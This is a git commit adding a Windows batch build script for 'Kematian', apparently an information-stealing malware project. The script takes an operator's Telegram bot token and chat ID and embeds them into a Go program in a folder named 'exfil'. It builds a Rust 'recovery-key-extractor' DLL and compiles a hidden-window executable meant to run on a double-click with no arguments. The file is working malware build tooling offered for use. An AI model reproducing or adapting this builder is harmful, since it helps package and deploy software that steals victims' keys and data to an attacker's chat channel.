initial commit
This commit is contained in:
@@ -0,0 +1,143 @@
|
||||
@echo off
|
||||
setlocal enabledelayedexpansion
|
||||
|
||||
title Kematian Final Builder
|
||||
|
||||
echo ============================================
|
||||
echo Kematian Final Executable Builder
|
||||
echo ============================================
|
||||
echo.
|
||||
|
||||
set "SCRIPT_DIR=%~dp0"
|
||||
set "PROJECT_ROOT=%SCRIPT_DIR%..\"
|
||||
set "NATIVE_DIR=%PROJECT_ROOT%native"
|
||||
set "EXFIL_DIR=%NATIVE_DIR%\cmd\exfil"
|
||||
set "FINAL_DIR=%SCRIPT_DIR%"
|
||||
set "ORIGINAL_MAIN=%EXFIL_DIR%\main.go"
|
||||
set "TEMP_MAIN=%EXFIL_DIR%\main.go.tmp"
|
||||
|
||||
echo [DEBUG] SCRIPT_DIR=%SCRIPT_DIR%
|
||||
echo [DEBUG] NATIVE_DIR=%NATIVE_DIR%
|
||||
echo [DEBUG] ORIGINAL_MAIN=%ORIGINAL_MAIN%
|
||||
|
||||
if not exist "%NATIVE_DIR%" (
|
||||
echo [ERROR] native folder not found at %NATIVE_DIR%
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
if not exist "%ORIGINAL_MAIN%" (
|
||||
echo [ERROR] main.go not found at %ORIGINAL_MAIN%
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo Enter your Telegram Bot Token:
|
||||
set /p BOT_TOKEN=^>
|
||||
if "%BOT_TOKEN%"=="" (
|
||||
echo [ERROR] Bot token cannot be empty
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo.
|
||||
echo Enter your Telegram Chat ID:
|
||||
set /p CHAT_ID=^>
|
||||
if "%CHAT_ID%"=="" (
|
||||
echo [ERROR] Chat ID cannot be empty
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo.
|
||||
echo Building recovery-key-extractor.dll (Rust)...
|
||||
set "RUST_DIR=%PROJECT_ROOT%rust-extractor"
|
||||
set "EXTRACTOR_OUT=%NATIVE_DIR%\recovery\platform\recovery-key-extractor.dll"
|
||||
set "RUST_DLL=%RUST_DIR%\target\x86_64-pc-windows-gnu\release\recovery_key_extractor.dll"
|
||||
|
||||
if not exist "%RUST_DIR%\Cargo.toml" (
|
||||
echo [ERROR] rust-extractor\Cargo.toml not found
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
pushd "%RUST_DIR%"
|
||||
cargo build --release --target x86_64-pc-windows-gnu
|
||||
if errorlevel 1 (
|
||||
popd
|
||||
echo [ERROR] cargo build failed
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
popd
|
||||
|
||||
if not exist "%RUST_DLL%" (
|
||||
echo [ERROR] Rust DLL not found at %RUST_DLL%
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
copy /y "%RUST_DLL%" "%EXTRACTOR_OUT%" >nul
|
||||
if errorlevel 1 (
|
||||
echo [ERROR] Failed to copy Rust DLL
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
echo [OK] recovery-key-extractor.dll ready
|
||||
|
||||
echo.
|
||||
echo Generating main.go with embedded credentials...
|
||||
echo [DEBUG] Replacing placeholders in %ORIGINAL_MAIN%
|
||||
|
||||
powershell -NoProfile -Command "$content = Get-Content -Raw -Path '%ORIGINAL_MAIN%'; $content = $content -replace 'defaultBotToken = \"YOUR_BOT_TOKEN_HERE\"', 'defaultBotToken = \"%BOT_TOKEN%\"'; $content = $content -replace 'defaultChatID = \"YOUR_CHAT_ID_HERE\"', 'defaultChatID = \"%CHAT_ID%\"'; [IO.File]::WriteAllText('%TEMP_MAIN%', $content); Write-Host 'PowerShell OK'"
|
||||
|
||||
if errorlevel 1 (
|
||||
echo [ERROR] Failed to generate temp main.go
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo [DEBUG] Temp file created, verifying...
|
||||
powershell -NoProfile -Command "Get-Content -Path '%TEMP_MAIN%' | Select-String 'defaultBotToken'"
|
||||
|
||||
move /y "%TEMP_MAIN%" "%ORIGINAL_MAIN%" >nul
|
||||
if errorlevel 1 (
|
||||
echo [ERROR] Failed to replace main.go
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo [OK] main.go updated with credentials
|
||||
|
||||
echo.
|
||||
echo Building executable...
|
||||
pushd "%NATIVE_DIR%"
|
||||
go build -ldflags="-H=windowsgui -s -w" -o "%FINAL_DIR%kematian.exe" ./cmd/exfil
|
||||
if errorlevel 1 (
|
||||
popd
|
||||
echo [ERROR] Go build failed
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
popd
|
||||
|
||||
echo.
|
||||
echo Restoring original main.go...
|
||||
git checkout "%ORIGINAL_MAIN%" 2>nul
|
||||
if errorlevel 1 (
|
||||
powershell -NoProfile -Command "$content = Get-Content -Raw -Path '%ORIGINAL_MAIN%'; $content = $content -replace 'defaultBotToken = \"%BOT_TOKEN%\"', 'defaultBotToken = \"YOUR_BOT_TOKEN_HERE\"'; $content = $content -replace 'defaultChatID = \"%CHAT_ID%\"', 'defaultChatID = \"YOUR_CHAT_ID_HERE\"'; [IO.File]::WriteAllText('%ORIGINAL_MAIN%', $content)"
|
||||
)
|
||||
|
||||
echo.
|
||||
echo ============================================
|
||||
echo [SUCCESS] Build complete!
|
||||
echo ============================================
|
||||
echo.
|
||||
echo Output: %FINAL_DIR%kematian.exe
|
||||
echo.
|
||||
echo Usage: Just double-click kemeatien.exe
|
||||
echo (No arguments needed - credentials are embedded)
|
||||
echo.
|
||||
dir "%FINAL_DIR%kematian.exe"
|
||||
echo.
|
||||
pause
|
||||
Reference in New Issue
Block a user